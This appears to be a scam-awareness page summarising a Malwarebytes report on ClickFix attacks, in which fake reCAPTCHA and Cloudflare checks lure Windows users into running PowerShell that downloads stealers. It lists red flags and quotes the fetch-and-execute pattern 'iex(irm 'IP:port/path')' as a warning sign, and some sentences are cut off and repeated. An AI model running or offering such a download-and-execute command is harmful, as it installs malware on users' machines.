Listen to the episode
TLDR
A widespread ClickFix campaign uses fake Google reCAPTCHA and Cloudflare verification pages to convince visitors to paste and execute a PowerShell command on their own Windows PC. Once run, the command silently downloads stealers (StealC,...
How it works
A widespread ClickFix campaign uses fake Google reCAPTCHA and Cloudflare verification pages to convince visitors to paste and execute a PowerShell command on their own Windows PC. Once run, the command silently downloads stealers (StealC,...
Red flags
- A verification page asks you to open PowerShell, Command Prompt, or Terminal to prove you are human. Countdown timers, visitor counters, or urgent warnings push you to act before reading. Instructions include a long, obfuscated iex(irm 'IP:port/path') command copied to your clipboard
What to do
- 1Never paste or run a command from a website unless you fully understand what it does and trust the source. Verify any technical instruction through the vendor's official support channels before acting. Keep real time we
Source
malwarebytes
Source reviewed by Mythos Forensic Team
https://www.malwarebytes.com/blog/threat-intel/2026/07/fake-google-and-cloudflare-verification-pages-spread-multiple-malware-familiesFAQ
Is Fake Google and Cloudflare verification pages trick users into running malware via ClickFix attacks a real scam pattern?
Yes. Treat the message, call, or payment request as suspicious until you verify it through an official channel.
What are the first warning signs?
A verification page asks you to open PowerShell, Command Prompt, or Terminal to prove you are human. Countdown timers, visitor counters, or urgent warnings push you to act before reading. Instructions include a long, obfuscated iex(irm 'IP:port/path') command copied to your clipboard
What should I do first?
Never paste or run a command from a website unless you fully understand what it does and trust the source. Verify any technical instruction through the vendor's official support channels before acting. Keep real time we
Can LegalAudit check my case?
Yes. Start a free chat and paste the message, link, sender, or payment details for triage.